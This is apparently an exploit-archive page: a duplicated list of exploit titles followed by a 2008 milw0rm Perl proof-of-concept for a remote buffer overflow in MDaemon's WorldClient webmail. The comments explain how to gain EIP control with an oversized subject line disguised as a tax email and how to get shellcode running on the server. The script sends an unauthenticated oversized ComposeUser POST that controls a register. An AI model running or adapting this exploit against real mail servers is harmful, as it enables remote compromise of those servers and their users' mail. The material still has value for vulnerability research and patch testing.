477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
46 lines
2.4 KiB
Perl
Executable file
46 lines
2.4 KiB
Perl
Executable file
############################################################################
|
|
# MDaemon <== v9.6.5 Multiple Remote Buffer Overflow
|
|
#
|
|
# Vendor Site: http://altn.com
|
|
#
|
|
# Risk : Highly Critical
|
|
# hehe funny bugs here .. the worldclient use the port 3000 for a webmail like (it use also an admin webmail
|
|
# located at
|
|
# port 1000 [by default both are opened])
|
|
# this file unfortunatly contain multiple buffer overflows , If you send a message to a user ( or postmaster ? :] )
|
|
# with a subject composed of 8194 A ( like : " Do your incomming taxes online this year, it's safe and fast,just reply with
|
|
# the supplied incomming form...8100 A " from incomming@irs.gov etc )
|
|
# if the user click "answer" to the message , eip get owned
|
|
# the CC & From field is vulnerable too .
|
|
#
|
|
# This kind of bug is pretty nasty, because the client doesn't get owned , but postmaster yes. so if you have an account
|
|
# on a host providing MDaemon services ,
|
|
# you can send a mail to yourself and get some shellcode executed on the server.
|
|
# if you dont ... just have a look on google,you'll find out
|
|
#
|
|
#
|
|
# this poc is another bug, actually it shouldn't work, because we dont have any cookie & session ,but it give a full control
|
|
# over EDX without any auth, dont ask why, it's like this only for this variable [ComposeUser] =)
|
|
#
|
|
# Greetz to : French/Quebec security community & http://spiritofhack.net .
|
|
# ungreetz to : they'll reconize them =)
|
|
#
|
|
# Ps: actually this audit is NOT finished ... there might be some other remote bugs/advisory , i just dont have time for
|
|
# this at the moment, i recommend to the ones who want to do it , to look at Webclient.exe & Webadmin.exe , there's
|
|
# some funny stuff in there hehe .
|
|
|
|
use LWP::UserAgent;
|
|
$connect = LWP::UserAgent->new;
|
|
my $payload1 ="a" x 60;
|
|
my $payload2 ="b" x 20;
|
|
my $host = 'http://127.0.0.1:3000/';
|
|
|
|
my $req = HTTP::Request->new(POST => $host.'WorldClient.dll?Session=&View=Compose&ComposeInNewWindow=Yes&ChangeView=No&SendNow=Yes');
|
|
$req->content_type('application/x-www-form-urlencoded');
|
|
$req->content('ComposeUser='.$payload2.$payload1.'%40localhost&&ComposeID=1&Attn=&Company=&From=0&Reply-To=&To=%22admin+bla%22+%3Cadmin%40localhost%3E%2C+&CC=YO&BCC=&Subject=hey&Body=yo%21&');
|
|
my $res = $connect->request($req);
|
|
print $res->as_string;
|
|
|
|
# "If in time like these you can talk about individual freedom, you're probably a terrorist"
|
|
|
|
# milw0rm.com [2008-06-02]
|